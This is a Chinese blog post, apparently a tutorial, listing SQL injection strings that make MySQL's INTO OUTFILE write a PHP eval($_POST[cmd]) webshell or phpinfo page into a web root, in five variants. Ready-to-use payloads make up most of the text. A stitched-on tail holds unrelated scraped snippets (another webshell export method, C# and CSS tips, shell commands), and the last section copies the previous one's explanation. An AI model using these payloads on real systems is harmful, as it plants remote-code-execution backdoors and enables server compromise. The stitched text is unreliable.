MYSQL寫入一句話的方式

2021-09-27 02:44:32 字數 1592 閱讀 9064

一、union select 後寫入

最常見的寫入方式,union select 後跟 into outfile 語句

1' union select 1,2,'<?php @eval($_post[cmd]);?>' into outfile "c:\\phpstudy\\phptutorial\\www\\shell.php" --+

1' union select 1,2,'<?php @eval($_post[cmd]);?>' into outfile "c:/phpstudy/phptutorial/www/shell.php" --+

注意:在windows下,位置的分隔符為 / 或 \\。

二、lines terminated by 寫入

id=1' into outfile 'c:/phpstudy/phptutorial/www/shell.php' lines terminated by '<?php @eval($_post[cmd]);?>' --+

id=1' limit 1 into outfile 'c:/phpstudy/phptutorial/www/shell.php' lines terminated by '<?php phpinfo() ?>' --+

通過select語句查詢的內容寫入檔案,也就是 1' into outfile 'c:/phpstudy/phptutorial/www/shell.php' 這樣寫的原因,

然後利用 lines terminated by 語句拼接webshell的內容。lines terminated by 可以理解為 以每行終止的位置新增 xx 內容。

三、lines starting by 寫入

?id=1' into outfile 'c:/phpstudy/phptutorial/www/shell.php' lines starting by '<?php phpinfo() ?>'; --+

利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置新增 xx 內容。

四、fields terminated by 寫入

?id=1' into outfile 'c:/phpstudy/phptutorial/www/shell.php' fields terminated by '<?php phpinfo() ?>' --+

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容。

五、columns terminated by 寫入

?id=1' into outfile 'c:/phpstudy/phptutorial/www/shell.php' columns terminated by '<?php phpinfo() ?>' --+

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容。

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...